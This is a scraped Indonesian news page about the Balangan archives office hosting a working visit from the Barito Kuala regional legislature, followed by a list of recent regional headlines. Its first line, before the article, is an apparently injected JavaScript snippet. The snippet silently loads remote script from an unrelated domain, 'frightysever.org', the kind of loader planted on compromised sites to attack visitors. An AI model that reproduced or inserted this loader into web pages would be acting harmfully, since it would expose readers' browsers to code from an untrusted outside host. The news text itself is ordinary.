(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Dispersip Balangan Terima Kunker DPRD Batola


KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kerasipan (Dispersip) Balangan meneriman kunjungan kerja DPRD Barito Kuala (Batola).

Kunjungan kerja dipimpin langsung Ketua DPRD Batola, Saleh diterima oleh Kepala Dispersip Balangan, H Tamrin, di kantor Dispersip Balangan, Paringin Selatan, Kamis (24/2/2022).

Kepala Dispersip Balangan, H Tamrin, menyambut baik atas dipilihnya Kabupaten Balangan sebagai tempat kunjungan kerja DPRD Batola, saling berbagi informasi terkait kegiatan penataan kearsipan.

“Menjadi sebuah keinginan semua daerah untuk melakukan penataan terhadap kearsipan di masing-masing daerah. Tindak lanjut arahan Presiden Jokowi, yang menginginkan di akhir masa jabatannya seluruh arsip daerah harus selesai,” ucapnya.

 

 

Baca juga: Gembar-Gembor Ungkap Mafia Minyak Goreng, Anak Buah Sendiri Ditangkap

H Tamrin memaparkan inovasi yang dilakukan jajarannya, yaitu Mini Market Arsipku (MMA). Dimana inovasi tersebut didasari atas visi misi Bupati Balangan menciptakan pelayanan publik yang handal di Kabupaten Balangan.

“Untuk pelayanan kearsipan, tahun ini kita mendapat nilai CC. Alhamdulillah, cukup lumayan bagus, dan kedepan kami akan melakukan lagi peningkatan yaitu dengan menciptakan petugas-petugas kearsipan yang sampai hari ini sudah di tandatangani oleh Bupati Balangan pada masing-masing SKPD,” ujar Tamrin.

Sementara itu, Ketua DPRD Batola, Saleh, mengungkapkan rasa senang atas penyambutan dari Dispersip Balangan. Tujuan kunjungan untuk berkonsultasi terkait dengan permasalahan pengawasan terhadap kegiatan kearsipan di daerah dapat terlaksana dengan baik.

“Alhamdulilah sudah dijelaskan begitu banyak, serta terkait dengan proses kearsipan yang ada di daerah kami, sehingga bisa kami perbaiki lagi karena bagian dari kearsipan ini sangatlah penting sebagai dokumen yang harus terjaga untuk masa depan,” ucap Saleh. (Kanalkalimantan.com/alfi)

Reporter : alfi
Editor : kk


Risa

Recent Posts

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

1 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

3 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

4 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

6 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

6 jam ago

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

22 jam ago

This website uses cookies.